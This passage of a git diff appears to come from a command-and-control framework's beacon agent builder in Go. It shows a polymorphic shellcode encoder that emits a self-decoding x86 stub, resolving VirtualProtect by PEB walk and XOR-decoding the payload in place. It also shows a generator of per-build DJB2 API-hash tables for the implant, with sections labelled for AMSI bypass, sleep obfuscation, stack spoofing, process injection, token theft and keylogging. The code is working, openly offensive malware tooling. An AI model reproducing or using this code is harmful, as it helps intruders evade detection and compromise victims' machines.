+ emit(0x29, 0xD2) // sub edx, edx
+ case 2:
+ emit(0x33, 0xD2) // xor edx, edx alt
+ }
+
+ xorLoopStart := len(code)
+ // mov al, [esi+edx]
+ emit(0x8A, 0x04, 0x16)
+ // xor [edi], al
+ emit(0x30, 0x07)
+ // inc edi
+ emit(0x47)
+ // inc edx
+ emit(0x42)
+ // and edx, 0x0F
+ emit(0x83, 0xE2, 0x0F)
+ // dec ecx
+ switch cryptoRandIntn(2) {
+ case 0:
+ emit(0x49) // dec ecx
+ case 1:
+ emit(0x83, 0xE9, 0x01) // sub ecx, 1
+ }
+ // jnz loop
+ jnzOff := len(code)
+ emit(0x75, 0x00)
+ code[jnzOff+1] = byte(xorLoopStart - (jnzOff + 2))
+
+ // ===== Block 6: Epilogue =====
+ epilogueOff := len(code)
+ // popad
+ emit(0x61)
+ // call $+5; pop eax; add eax, ; jmp eax
+ emit(0xE8, 0x00, 0x00, 0x00, 0x00)
+ emit(0x58)
+
+ // Patch jmpNotFound (E9 rel32) to jump to epilogue
+ patchDisp32(code, jmpNotFoundOff+1, epilogueOff-(jmpNotFoundOff+5))
+
+ // add eax, — patched after data area
+ addEaxOff := len(code)
+ emit(0x83, 0xC0, 0x00) // placeholder: add eax, imm8
+
+ // jmp eax
+ emit(0xFF, 0xE0)
+
+ // ===== Data area =====
+ keyOffset := len(code)
+ code = append(code, make([]byte, 16)...)
+ sizeOffset := len(code)
+ code = append(code, make([]byte, 4)...)
+ dataEnd := len(code)
+
+ // Patch add eax: call pushes return address = address of pop eax.
+ // pop eax → eax = address of addEaxOff - 1 (the pop itself)
+ // Actually: call at (epilogueOff+1) pushes return address of next instr = (epilogueOff+6).
+ // pop eax → eax = (epilogueOff + 6). But in runtime, that's a memory address.
+ // We want eax to point to dataEnd in memory.
+ // addEaxOff is where "add eax, imm8" starts. Pop eax is at addEaxOff-1.
+ // call pushes the address of addEaxOff-1 (the instruction after call).
+ // Wait — call pushes return address = address of next instruction = addEaxOff - 1.
+ // Actually, pop eax is at the address right after call $+5. call is at epilogueOff+1.
+ // call pushes eip = epilogueOff + 1 + 5 = epilogueOff + 6. pop eax gets that address.
+ // In terms of offsets from stub start: eax = epilogueOff + 6.
+ // But pop is AT offset epilogueOff + 6 - wait:
+ // epilogue: 61(popad) E8 00 00 00 00(call) 58(pop eax)
+ // call is at epilogueOff+1, it pushes return address = epilogueOff+6
+ // pop eax is at epilogueOff+6, eax = epilogueOff+6 (the runtime address of pop itself)
+ // add eax, X → eax = (runtime addr of pop) + X
+ // We want eax = runtime addr of dataEnd = runtime addr of (pop) + (dataEnd - (epilogueOff+6))
+ addVal := dataEnd - (epilogueOff + 6)
+ code[addEaxOff+2] = byte(addVal)
+
+ // Patch ebp-relative offsets
+ put32LE(code, vpLeaKeyOff+2, uint32(keyOffset))
+ put32LE(code, vpMovSizeOff+2, uint32(sizeOffset))
+ put32LE(code, xorLeaKeyOff+2, uint32(keyOffset))
+ put32LE(code, xorLeaDataOff+2, uint32(dataEnd))
+ put32LE(code, xorMovSizeOff+2, uint32(sizeOffset))
+
+ return code, keyOffset, sizeOffset
+}
+
+// xorEncodeShellcode applies XOR encoding to a shellcode payload.
+// Returns the encoded payload prepended with a polymorphic self-decoding stub that:
+// 1. Resolves VirtualProtect via PEB walk (kernel32) using random DJB2 seed
+// 2. Makes its own memory RWX
+// 3. XOR-decodes the payload in-place
+// 4. Jumps to the decoded payload
+//
+// Each call generates a unique stub with different:
+// - DJB2 hash seed and target hash
+// - Junk instruction padding (variable size)
+// - Instruction equivalences in the decode loop
+func xorEncodeShellcode(payload []byte, arch string) ([]byte, error) {
+ // Generate 16-byte random XOR key
+ key := make([]byte, 16)
+ if _, err := rand.Read(key); err != nil {
+ return nil, err
+ }
+
+ // XOR-encode the payload
+ encoded := make([]byte, len(payload))
+ for i, b := range payload {
+ encoded[i] = b ^ key[i%16]
+ }
+
+ // Generate polymorphic stub
+ var stub []byte
+ var keyOffset, sizeOffset int
+ if arch == "x86" {
+ stub, keyOffset, sizeOffset = generateStubX86()
+ } else {
+ stub, keyOffset, sizeOffset = generateStubX64()
+ }
+
+ // Patch key into stub
+ copy(stub[keyOffset:keyOffset+16], key)
+
+ // Patch payload size into stub (little-endian uint32)
+ binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload)))
+
+ // Assemble: stub + encoded payload
+ result := make([]byte, 0, len(stub)+len(encoded))
+ result = append(result, stub...)
+ result = append(result, encoded...)
+ return result, nil
+}
diff --git a/AdaptixServer/extenders/beacon_agent/pl_hashes.go b/AdaptixServer/extenders/beacon_agent/pl_hashes.go
new file mode 100644
index 000000000..bc9a10f33
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_agent/pl_hashes.go
@@ -0,0 +1,416 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/binary"
+ "fmt"
+ "strings"
+)
+
+// cryptoRandUint32 returns a cryptographically random uint32.
+func cryptoRandUint32() uint32 {
+ var buf [4]byte
+ _, _ = rand.Read(buf[:])
+ return binary.LittleEndian.Uint32(buf[:])
+}
+
+// djb2a computes a case-insensitive DJB2 hash for ASCII function names.
+func djb2a(seed uint32, s string) uint32 {
+ h := seed
+ for _, c := range strings.ToLower(s) {
+ h = ((h << 5) + h) + uint32(c)
+ }
+ return h
+}
+
+// djb2w computes a case-insensitive DJB2 hash for module names (UTF-16LE on Windows).
+// For ASCII-only DLL names, iterating WCHAR* values produces the same result as
+// iterating char* values, so this is equivalent to djb2a.
+func djb2w(seed uint32, s string) uint32 {
+ return djb2a(seed, s)
+}
+
+// hashEntry holds a define name and the string to hash.
+type hashEntry struct {
+ define string
+ name string
+}
+
+// libEntry holds a library define name and the DLL name.
+type libEntry struct {
+ define string
+ dllName string
+}
+
+var hashLibs = []libEntry{
+ {"HASH_LIB_NTDLL", "ntdll.dll"},
+ {"HASH_LIB_KERNEL32", "kernel32.dll"},
+ {"HASH_LIB_KERNELBASE", "kernelbase.dll"},
+ {"HASH_LIB_IPHLPAPI", "iphlpapi.dll"},
+ {"HASH_LIB_ADVAPI32", "advapi32.dll"},
+ {"HASH_LIB_MSVCRT", "msvcrt.dll"},
+ {"HASH_LIB_WS2_32", "ws2_32.dll"},
+ {"HASH_LIB_WININET", "wininet.dll"},
+ {"HASH_LIB_USER32", "user32.dll"},
+ {"HASH_LIB_AMSI", "amsi.dll"},
+}
+
+// hashFunctions is organized by sections matching the original hashes.py + extra hashes from ApiDefines.h
+var hashFuncSections = []struct {
+ comment string
+ funcs []hashEntry
+}{
+ {"//ntdll", []hashEntry{
+ {"HASH_FUNC_NTCLOSE", "NtClose"},
+ {"HASH_FUNC_NTCONTINUE", "NtContinue"},
+ {"HASH_FUNC_NTFREEVIRTUALMEMORY", "NtFreeVirtualMemory"},
+ {"HASH_FUNC_NTQUERYINFORMATIONPROCESS", "NtQueryInformationProcess"},
+ {"HASH_FUNC_NTQUERYSYSTEMINFORMATION", "NtQuerySystemInformation"},
+ {"HASH_FUNC_NTOPENPROCESS", "NtOpenProcess"},
+ {"HASH_FUNC_NTOPENPROCESSTOKEN", "NtOpenProcessToken"},
+ {"HASH_FUNC_NTOPENTHREADTOKEN", "NtOpenThreadToken"},
+ {"HASH_FUNC_NTTERMINATETHREAD", "NtTerminateThread"},
+ {"HASH_FUNC_NTTERMINATEPROCESS", "NtTerminateProcess"},
+ {"HASH_FUNC_RTLGETVERSION", "RtlGetVersion"},
+ {"HASH_FUNC_RTLEXITUSERTHREAD", "RtlExitUserThread"},
+ {"HASH_FUNC_RTLEXITUSERPROCESS", "RtlExitUserProcess"},
+ {"HASH_FUNC_RTLIPV4STRINGTOADDRESSA", "RtlIpv4StringToAddressA"},
+ {"HASH_FUNC_RTLRANDOMEX", "RtlRandomEx"},
+ {"HASH_FUNC_RTLNTSTATUSTODOSERROR", "RtlNtStatusToDosError"},
+ {"HASH_FUNC_NTFLUSHINSTRUCTIONCACHE", "NtFlushInstructionCache"},
+ {"HASH_FUNC_RTLINITIALIZECRITICALSECTION", "RtlInitializeCriticalSection"},
+ {"HASH_FUNC_RTLDELETECRITICALSECTION", "RtlDeleteCriticalSection"},
+ {"HASH_FUNC_NTCREATEEVENT", "NtCreateEvent"},
+ {"HASH_FUNC_NTWAITFORSINGLEOBJECT", "NtWaitForSingleObject"},
+ {"HASH_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT", "NtSignalAndWaitForSingleObject"},
+ {"HASH_FUNC_NTQUEUEAPCTHREAD", "NtQueueApcThread"},
+ {"HASH_FUNC_NTALERTRESUMETHREAD", "NtAlertResumeThread"},
+ {"HASH_FUNC_NTPROTECTVIRTUALMEMORY", "NtProtectVirtualMemory"},
+ {"HASH_FUNC_NTCREATETHREADEX", "NtCreateThreadEx"},
+ {"HASH_FUNC_NTSETEVENT", "NtSetEvent"},
+ {"HASH_FUNC_NTQUERYVIRTUALMEMORY", "NtQueryVirtualMemory"},
+ {"HASH_FUNC_NTCREATESECTION", "NtCreateSection"},
+ {"HASH_FUNC_NTMAPVIEWOFSECTION", "NtMapViewOfSection"},
+ {"HASH_FUNC_NTUNMAPVIEWOFSECTION", "NtUnmapViewOfSection"},
+ {"HASH_FUNC_ETWEVENTWRITE", "EtwEventWrite"},
+ {"HASH_FUNC_NTALLOCATEVIRTUALMEMORY", "NtAllocateVirtualMemory"},
+ {"HASH_FUNC_NTOPENFILE", "NtOpenFile"},
+ {"HASH_FUNC_NTREADFILE", "NtReadFile"},
+ {"HASH_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER", "RtlAddVectoredExceptionHandler"},
+ {"HASH_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER", "RtlRemoveVectoredExceptionHandler"},
+ {"HASH_FUNC_RTLCREATEHEAP", "RtlCreateHeap"},
+ {"HASH_FUNC_RTLALLOCATEHEAP", "RtlAllocateHeap"},
+ {"HASH_FUNC_RTLFREEHEAP", "RtlFreeHeap"},
+ {"HASH_FUNC_RTLDESTROYHEAP", "RtlDestroyHeap"},
+ }},
+ {"// Shinkiro Zw* (SSN sort by address)", []hashEntry{
+ {"HASH_FUNC_ZWCLOSE", "ZwClose"},
+ {"HASH_FUNC_ZWCONTINUE", "ZwContinue"},
+ {"HASH_FUNC_ZWFREEVIRTUALMEMORY", "ZwFreeVirtualMemory"},
+ {"HASH_FUNC_ZWQUERYINFORMATIONPROCESS", "ZwQueryInformationProcess"},
+ {"HASH_FUNC_ZWQUERYSYSTEMINFORMATION", "ZwQuerySystemInformation"},
+ {"HASH_FUNC_ZWOPENPROCESS", "ZwOpenProcess"},
+ {"HASH_FUNC_ZWOPENPROCESSTOKEN", "ZwOpenProcessToken"},
+ {"HASH_FUNC_ZWOPENTHREADTOKEN", "ZwOpenThreadToken"},
+ {"HASH_FUNC_ZWTERMINATETHREAD", "ZwTerminateThread"},
+ {"HASH_FUNC_ZWTERMINATEPROCESS", "ZwTerminateProcess"},
+ {"HASH_FUNC_ZWCREATEEVENT", "ZwCreateEvent"},
+ {"HASH_FUNC_ZWWAITFORSINGLEOBJECT", "ZwWaitForSingleObject"},
+ {"HASH_FUNC_ZWSIGNALANDWAITFORSINGLEOBJECT", "ZwSignalAndWaitForSingleObject"},
+ {"HASH_FUNC_ZWQUEUEAPCTHREAD", "ZwQueueApcThread"},
+ {"HASH_FUNC_ZWALERTRESUMETHREAD", "ZwAlertResumeThread"},
+ {"HASH_FUNC_ZWPROTECTVIRTUALMEMORY", "ZwProtectVirtualMemory"},
+ {"HASH_FUNC_ZWCREATETHREADEX", "ZwCreateThreadEx"},
+ {"HASH_FUNC_ZWSETEVENT", "ZwSetEvent"},
+ {"HASH_FUNC_ZWCREATESECTION", "ZwCreateSection"},
+ {"HASH_FUNC_ZWMAPVIEWOFSECTION", "ZwMapViewOfSection"},
+ {"HASH_FUNC_ZWUNMAPVIEWOFSECTION", "ZwUnmapViewOfSection"},
+ {"HASH_FUNC_ZWALLOCATEVIRTUALMEMORY", "ZwAllocateVirtualMemory"},
+ {"HASH_FUNC_ZWOPENFILE", "ZwOpenFile"},
+ {"HASH_FUNC_ZWREADFILE", "ZwReadFile"},
+ {"HASH_FUNC_ZWFLUSHINSTRUCTIONCACHE", "ZwFlushInstructionCache"},
+ {"HASH_FUNC_ZWQUERYVIRTUALMEMORY", "ZwQueryVirtualMemory"},
+ }},
+ {"// ThreadStack Spoofing (TsInit frame targets)", []hashEntry{
+ {"HASH_TS_WAITFORSINGLEOBJECTEX", "WaitForSingleObjectEx"},
+ {"HASH_TS_BASETHREADINITTHUNK", "BaseThreadInitThunk"},
+ {"HASH_TS_RTLUSERTHREADSTART", "RtlUserThreadStart"},
+ {"HASH_TS_NTWAITFORSINGLEOBJECT", "NtWaitForSingleObject"},
+ }},
+ {"// Ekko Sleep Obfuscation (timer queue)", []hashEntry{
+ {"HASH_FUNC_RTLCREATETIMERQUEUE", "RtlCreateTimerQueue"},
+ {"HASH_FUNC_RTLCREATETIMER", "RtlCreateTimer"},
+ {"HASH_FUNC_RTLDELETETIMERQUEUE", "RtlDeleteTimerQueue"},
+ }},
+ {"// Ekko Sleep Obfuscation (kernel32 ROP chain)", []hashEntry{
+ {"HASH_FUNC_VIRTUALPROTECT", "VirtualProtect"},
+ {"HASH_FUNC_WAITFORSINGLEOBJECTEX", "WaitForSingleObjectEx"},
+ {"HASH_FUNC_SETEVENT", "SetEvent"},
+ }},
+ {"// amsi", []hashEntry{
+ {"HASH_FUNC_AMSISCANBUFFER", "AmsiScanBuffer"},
+ }},
+ {"//kernel32", []hashEntry{
+ {"HASH_FUNC_CONNECTNAMEDPIPE", "ConnectNamedPipe"},
+ {"HASH_FUNC_COPYFILEA", "CopyFileA"},
+ {"HASH_FUNC_CREATEDIRECTORYA", "CreateDirectoryA"},
+ {"HASH_FUNC_CREATEEVENTA", "CreateEventA"},
+ {"HASH_FUNC_CREATEFILEA", "CreateFileA"},
+ {"HASH_FUNC_CREATENAMEDPIPEA", "CreateNamedPipeA"},
+ {"HASH_FUNC_CREATEPIPE", "CreatePipe"},
+ {"HASH_FUNC_CREATEPROCESSA", "CreateProcessA"},
+ {"HASH_FUNC_CREATETHREAD", "CreateThread"},
+ {"HASH_FUNC_DELETECRITICALSECTION", "DeleteCriticalSection"},
+ {"HASH_FUNC_DELETEFILEA", "DeleteFileA"},
+ {"HASH_FUNC_DISCONNECTNAMEDPIPE", "DisconnectNamedPipe"},
+ {"HASH_FUNC_ENTERCRITICALSECTION", "EnterCriticalSection"},
+ {"HASH_FUNC_FINDCLOSE", "FindClose"},
+ {"HASH_FUNC_FINDFIRSTFILEA", "FindFirstFileA"},
+ {"HASH_FUNC_FINDNEXTFILEA", "FindNextFileA"},
+ {"HASH_FUNC_FREELIBRARY", "FreeLibrary"},
+ {"HASH_FUNC_FLUSHFILEBUFFERS", "FlushFileBuffers"},
+ {"HASH_FUNC_GETACP", "GetACP"},
+ {"HASH_FUNC_GETCOMPUTERNAMEEXA", "GetComputerNameExA"},
+ {"HASH_FUNC_GETCURRENTDIRECTORYA", "GetCurrentDirectoryA"},
+ {"HASH_FUNC_GETDRIVETYPEA", "GetDriveTypeA"},
+ {"HASH_FUNC_GETEXITCODEPROCESS", "GetExitCodeProcess"},
+ {"HASH_FUNC_GETEXITCODETHREAD", "GetExitCodeThread"},
+ {"HASH_FUNC_GETFILESIZE", "GetFileSize"},
+ {"HASH_FUNC_GETFILEATTRIBUTESA", "GetFileAttributesA"},
+ {"HASH_FUNC_GETFULLPATHNAMEA", "GetFullPathNameA"},
+ {"HASH_FUNC_GETTHREADCONTEXT", "GetThreadContext"},
+ {"HASH_FUNC_GETLASTERROR", "GetLastError"},
+ {"HASH_FUNC_GETLOGICALDRIVES", "GetLogicalDrives"},
+ {"HASH_FUNC_GETOEMCP", "GetOEMCP"},
+ {"HASH_FUNC_K32GETMODULEBASENAMEA", "K32GetModuleBaseNameA"},
+ {"HASH_FUNC_GETMODULEBASENAMEA", "GetModuleBaseNameA"},
+ {"HASH_FUNC_GETMODULEHANDLEA", "GetModuleHandleA"},
+ {"HASH_FUNC_GETPROCADDRESS", "GetProcAddress"},
+ {"HASH_FUNC_GETLOCALTIME", "GetLocalTime"},
+ {"HASH_FUNC_GETSYSTEMTIMEASFILETIME", "GetSystemTimeAsFileTime"},
+ {"HASH_FUNC_GETTICKCOUNT", "GetTickCount"},
+ {"HASH_FUNC_GETTIMEZONEINFORMATION", "GetTimeZoneInformation"},
+ {"HASH_FUNC_GETUSERNAMEA", "GetUserNameA"},
+ {"HASH_FUNC_HEAPALLOC", "HeapAlloc"},
+ {"HASH_FUNC_HEAPCREATE", "HeapCreate"},
+ {"HASH_FUNC_HEAPDESTROY", "HeapDestroy"},
+ {"HASH_FUNC_HEAPREALLOC", "HeapReAlloc"},
+ {"HASH_FUNC_HEAPFREE", "HeapFree"},
+ {"HASH_FUNC_INITIALIZECRITICALSECTION", "InitializeCriticalSection"},
+ {"HASH_FUNC_ISWOW64PROCESS", "IsWow64Process"},
+ {"HASH_FUNC_LEAVECRITICALSECTION", "LeaveCriticalSection"},
+ {"HASH_FUNC_LOADLIBRARYA", "LoadLibraryA"},
+ {"HASH_FUNC_LOCALALLOC", "LocalAlloc"},
+ {"HASH_FUNC_LOCALFREE", "LocalFree"},
+ {"HASH_FUNC_LOCALREALLOC", "LocalReAlloc"},
+ {"HASH_FUNC_MOVEFILEA", "MoveFileA"},
+ {"HASH_FUNC_MULTIBYTETOWIDECHAR", "MultiByteToWideChar"},
+ {"HASH_FUNC_PEEKNAMEDPIPE", "PeekNamedPipe"},
+ {"HASH_FUNC_READFILE", "ReadFile"},
+ {"HASH_FUNC_REMOVEDIRECTORYA", "RemoveDirectoryA"},
+ {"HASH_FUNC_RESETEVENT", "ResetEvent"},
+ {"HASH_FUNC_RTLCAPTURECONTEXT", "RtlCaptureContext"},
+ {"HASH_FUNC_SETCURRENTDIRECTORYA", "SetCurrentDirectoryA"},
+ {"HASH_FUNC_SETNAMEDPIPEHANDLESTATE", "SetNamedPipeHandleState"},
+ {"HASH_FUNC_SLEEP", "Sleep"},
+ {"HASH_FUNC_TRYENTERCRITICALSECTION", "TryEnterCriticalSection"},
+ {"HASH_FUNC_VIRTUALALLOC", "VirtualAlloc"},
+ {"HASH_FUNC_VIRTUALFREE", "VirtualFree"},
+ {"HASH_FUNC_WAITFORSINGLEOBJECT", "WaitForSingleObject"},
+ {"HASH_FUNC_WAITNAMEDPIPEA", "WaitNamedPipeA"},
+ {"HASH_FUNC_WIDECHARTOMULTIBYTE", "WideCharToMultiByte"},
+ {"HASH_FUNC_WRITEFILE", "WriteFile"},
+ }},
+ {"// iphlpapi", []hashEntry{
+ {"HASH_FUNC_GETADAPTERSINFO", "GetAdaptersInfo"},
+ }},
+ {"// advapi32", []hashEntry{
+ {"HASH_FUNC_ALLOCATEANDINITIALIZESID", "AllocateAndInitializeSid"},
+ {"HASH_FUNC_CREATEPROCESSASUSERA", "CreateProcessAsUserA"},
+ {"HASH_FUNC_CREATEPROCESSWITHTOKENW", "CreateProcessWithTokenW"},
+ {"HASH_FUNC_DUPLICATETOKENEX", "DuplicateTokenEx"},
+ {"HASH_FUNC_GETTOKENINFORMATION", "GetTokenInformation"},
+ {"HASH_FUNC_INITIALIZESECURITYDESCRIPTOR", "InitializeSecurityDescriptor"},
+ {"HASH_FUNC_IMPERSONATELOGGEDONUSER", "ImpersonateLoggedOnUser"},
+ {"HASH_FUNC_FREESID", "FreeSid"},
+ {"HASH_FUNC_LOOKUPACCOUNTSIDA", "LookupAccountSidA"},
+ {"HASH_FUNC_REVERTTOSELF", "RevertToSelf"},
+ {"HASH_FUNC_SETTHREADTOKEN", "SetThreadToken"},
+ {"HASH_FUNC_SETENTRIESINACLA", "SetEntriesInAclA"},
+ {"HASH_FUNC_SETSECURITYDESCRIPTORDACL", "SetSecurityDescriptorDacl"},
+ {"HASH_FUNC_SYSTEMFUNCTION036", "SystemFunction036"},
+ {"HASH_FUNC_SYSTEMFUNCTION032", "SystemFunction032"},
+ }},
+ {"// msvcrt", []hashEntry{
+ {"HASH_FUNC_PRINTF", "printf"},
+ {"HASH_FUNC_VSNPRINTF", "vsnprintf"},
+ {"HASH_FUNC__SNPRINTF", "_snprintf"},
+ }},
+ {"// BOF", []hashEntry{
+ {"HASH_FUNC_BEACONDATAPARSE", "BeaconDataParse"},
+ {"HASH_FUNC_BEACONDATAINT", "BeaconDataInt"},
+ {"HASH_FUNC_BEACONDATASHORT", "BeaconDataShort"},
+ {"HASH_FUNC_BEACONDATALENGTH", "BeaconDataLength"},
+ {"HASH_FUNC_BEACONDATAEXTRACT", "BeaconDataExtract"},
+ {"HASH_FUNC_BEACONFORMATALLOC", "BeaconFormatAlloc"},
+ {"HASH_FUNC_BEACONFORMATRESET", "BeaconFormatReset"},
+ {"HASH_FUNC_BEACONFORMATAPPEND", "BeaconFormatAppend"},
+ {"HASH_FUNC_BEACONFORMATPRINTF", "BeaconFormatPrintf"},
+ {"HASH_FUNC_BEACONFORMATTOSTRING", "BeaconFormatToString"},
+ {"HASH_FUNC_BEACONFORMATFREE", "BeaconFormatFree"},
+ {"HASH_FUNC_BEACONFORMATINT", "BeaconFormatInt"},
+ {"HASH_FUNC_BEACONOUTPUT", "BeaconOutput"},
+ {"HASH_FUNC_BEACONPRINTF", "BeaconPrintf"},
+ {"HASH_FUNC_BEACONUSETOKEN", "BeaconUseToken"},
+ {"HASH_FUNC_BEACONREVERTTOKEN", "BeaconRevertToken"},
+ {"HASH_FUNC_BEACONISADMIN", "BeaconIsAdmin"},
+ {"HASH_FUNC_BEACONGETSPAWNTO", "BeaconGetSpawnTo"},
+ {"HASH_FUNC_BEACONINJECTPROCESS", "BeaconInjectProcess"},
+ {"HASH_FUNC_BEACONINJECTTEMPORARYPROCESS", "BeaconInjectTemporaryProcess"},
+ {"HASH_FUNC_BEACONSPAWNTEMPORARYPROCESS", "BeaconSpawnTemporaryProcess"},
+ {"HASH_FUNC_BEACONCLEANUPPROCESS", "BeaconCleanupProcess"},
+ {"HASH_FUNC_TOWIDECHAR", "toWideChar"},
+ {"HASH_FUNC_BEACONINFORMATION", "BeaconInformation"},
+ {"HASH_FUNC_BEACONADDVALUE", "BeaconAddValue"},
+ {"HASH_FUNC_BEACONGETVALUE", "BeaconGetValue"},
+ {"HASH_FUNC_BEACONREMOVEVALUE", "BeaconRemoveValue"},
+ // duplicates from kernel32 (BOF API resolution)
+ // HASH_FUNC_LOADLIBRARYA, HASH_FUNC_GETPROCADDRESS, HASH_FUNC_GETMODULEHANDLEA, HASH_FUNC_FREELIBRARY already defined above
+ {"HASH_FUNC___C_SPECIFIC_HANDLER", "__C_specific_handler"},
+ {"HASH_FUNC_AXADDSCREENSHOT", "AxAddScreenshot"},
+ {"HASH_FUNC_AXDOWNLOADMEMORY", "AxDownloadMemory"},
+ {"HASH_FUNC_BEACONWAKEUP", "BeaconWakeup"},
+ {"HASH_FUNC_BEACONGETSTOPJOBEVENT", "BeaconGetStopJobEvent"},
+ {"HASH_FUNC_BEACONREGISTERTHREADCALLBACK", "BeaconRegisterThreadCallback"},
+ {"HASH_FUNC_BEACONUNREGISTERTHREADCALLBACK", "BeaconUnregisterThreadCallback"},
+ }},
+ {"// wininet", []hashEntry{
+ {"HASH_FUNC_INTERNETOPENA", "InternetOpenA"},
+ {"HASH_FUNC_INTERNETCONNECTA", "InternetConnectA"},
+ {"HASH_FUNC_HTTPOPENREQUESTA", "HttpOpenRequestA"},
+ {"HASH_FUNC_HTTPSENDREQUESTA", "HttpSendRequestA"},
+ {"HASH_FUNC_INTERNETSETOPTIONA", "InternetSetOptionA"},
+ {"HASH_FUNC_INTERNETQUERYOPTIONA", "InternetQueryOptionA"},
+ {"HASH_FUNC_HTTPQUERYINFOA", "HttpQueryInfoA"},
+ {"HASH_FUNC_INTERNETQUERYDATAAVAILABLE", "InternetQueryDataAvailable"},
+ {"HASH_FUNC_INTERNETCLOSEHANDLE", "InternetCloseHandle"},
+ {"HASH_FUNC_INTERNETREADFILE", "InternetReadFile"},
+ }},
+ {"// user32 (keylogger)", []hashEntry{
+ {"HASH_FUNC_GETASYNCKEYSTATE", "GetAsyncKeyState"},
+ {"HASH_FUNC_GETKEYBOARDSTATE", "GetKeyboardState"},
+ {"HASH_FUNC_TOUNICODE", "ToUnicode"},
+ {"HASH_FUNC_MAPVIRTUALKEYW", "MapVirtualKeyW"},
+ {"HASH_FUNC_GETFOREGROUNDWINDOW", "GetForegroundWindow"},
+ {"HASH_FUNC_GETWINDOWTEXTW", "GetWindowTextW"},
+ {"HASH_FUNC_GETWINDOWTHREADPROCESSID", "GetWindowThreadProcessId"},
+ }},
+ {"// ws2_32", []hashEntry{
+ {"HASH_FUNC_WSASTARTUP", "WSAStartup"},
+ {"HASH_FUNC_WSACLEANUP", "WSACleanup"},
+ {"HASH_FUNC_SOCKET", "socket"},
+ {"HASH_FUNC_GETHOSTBYNAME", "gethostbyname"},
+ {"HASH_FUNC_IOCTLSOCKET", "ioctlsocket"},
+ {"HASH_FUNC_CONNECT", "connect"},
+ {"HASH_FUNC_SETSOCKOPT", "setsockopt"},
+ {"HASH_FUNC_GETSOCKOPT", "getsockopt"},
+ {"HASH_FUNC_WSAGETLASTERROR", "WSAGetLastError"},
+ {"HASH_FUNC_CLOSESOCKET", "closesocket"},
+ {"HASH_FUNC_SELECT", "select"},
+ {"HASH_FUNC___WSAFDISSET", "__WSAFDIsSet"},
+ {"HASH_FUNC_SHUTDOWN", "shutdown"},
+ {"HASH_FUNC_RECV", "recv"},
+ {"HASH_FUNC_SEND", "send"},
+ {"HASH_FUNC_ACCEPT", "accept"},
+ {"HASH_FUNC_BIND", "bind"},
+ {"HASH_FUNC_LISTEN", "listen"},
+ {"HASH_FUNC_RECVFROM", "recvfrom"},
+ {"HASH_FUNC_SENDTO", "sendto"},
+ }},
+ {"// shinkiro v2: per-syscall Win32 wrapper functions (kernelbase/kernel32/advapi32)", []hashEntry{
+ {"HASH_WRAPPER_CLOSEHANDLE", "CloseHandle"},
+ {"HASH_WRAPPER_OPENPROCESS", "OpenProcess"},
+ {"HASH_WRAPPER_OPENPROCESSTOKEN", "OpenProcessToken"},
+ {"HASH_WRAPPER_OPENTHREADTOKEN", "OpenThreadToken"},
+ {"HASH_WRAPPER_TERMINATETHREAD", "TerminateThread"},
+ {"HASH_WRAPPER_TERMINATEPROCESS", "TerminateProcess"},
+ {"HASH_WRAPPER_CREATEEVENTW", "CreateEventW"},
+ {"HASH_WRAPPER_WAITFORSINGLEOBJECT", "WaitForSingleObject"},
+ {"HASH_WRAPPER_SIGNALOBJECTANDWAIT", "SignalObjectAndWait"},
+ {"HASH_WRAPPER_QUEUEUSERAPC", "QueueUserAPC"},
+ {"HASH_WRAPPER_CREATEREMOTETHREAD", "CreateRemoteThread"},
+ {"HASH_WRAPPER_CREATEFILEMAPPINGW", "CreateFileMappingW"},
+ {"HASH_WRAPPER_MAPVIEWOFFILE", "MapViewOfFile"},
+ {"HASH_WRAPPER_UNMAPVIEWOFFILE", "UnmapViewOfFile"},
+ {"HASH_WRAPPER_CREATEFILEW", "CreateFileW"},
+ {"HASH_FUNC_FLUSHINSTRUCTIONCACHE", "FlushInstructionCache"},
+ }},
+}
+
+// generateApiDefines produces the full ApiDefines.h content with the given DJB2 seed.
+func generateApiDefines(seed uint32) string {
+ var b strings.Builder
+ b.WriteString("#pragma once\n")
+
+ // Library hashes (DJB2W)
+ for _, lib := range hashLibs {
+ h := djb2w(seed, lib.dllName)
+ pad := 35 - len(lib.define)
+ if pad < 1 {
+ pad = 1
+ }
+ b.WriteString(fmt.Sprintf("#define %s%s0x%x\n", lib.define, strings.Repeat(" ", pad), h))
+ }
+ b.WriteString("\n")
+
+ // Function hashes (DJB2A) organized by section
+ for _, section := range hashFuncSections {
+ b.WriteString(section.comment + "\n")
+ for _, entry := range section.funcs {
+ h := djb2a(seed, entry.name)
+ pad := 35 - len(entry.define)
+ if pad < 1 {
+ pad = 1
+ }
+ b.WriteString(fmt.Sprintf("#define %s%s0x%x\n", entry.define, strings.Repeat(" ", pad), h))
+ }
+ b.WriteString("\n")
+ }
+
+ return b.String()
+}
+
+// StubHashes holds the pre-computed DJB2 hashes for the reflective loader stub.
+// These are passed to nasm as -D defines so each payload has unique hash constants.
+type StubHashes struct {
+ ModNtdll uint32
+ ModKernel32 uint32
+ NtCreateSection uint32
+ NtMapViewOfSection uint32
+ NtProtectVirtualMem uint32
+ NtClose uint32
+ LoadLibraryA uint32
+ GetProcAddress uint32
+ FlushInstructionCache uint32
+ FreeLibrary uint32
+ LoadLibraryExA uint32
+}
+
+// computeStubHashes computes all DJB2 hashes needed by stub_rdi.x64.asm
+// using the given random seed. Module names use djb2w (wchar), export
+// names use djb2a (ASCII) — both case-insensitive.
+func computeStubHashes(seed uint32) StubHashes {
+ return StubHashes{
+ ModNtdll: djb2w(seed, "ntdll.dll"),
+ ModKernel32: djb2w(seed, "kernel32.dll"),
+ NtCreateSection: djb2a(seed, "NtCreateSection"),
+ NtMapViewOfSection: djb2a(seed, "NtMapViewOfSection"),
+ NtProtectVirtualMem: djb2a(seed, "NtProtectVirtualMemory"),
+ NtClose: djb2a(seed, "NtClose"),
+ LoadLibraryA: djb2a(seed, "LoadLibraryA"),
+ GetProcAddress: djb2a(seed, "GetProcAddress"),
+ FlushInstructionCache: djb2a(seed, "FlushInstructionCache"),
+ FreeLibrary: djb2a(seed, "FreeLibrary"),
+ LoadLibraryExA: djb2a(seed, "LoadLibraryExA"),
+ }
+}
diff --git a/AdaptixServer/extenders/beacon_agent/pl_main.go b/AdaptixServer/extenders/beacon_agent/pl_main.go
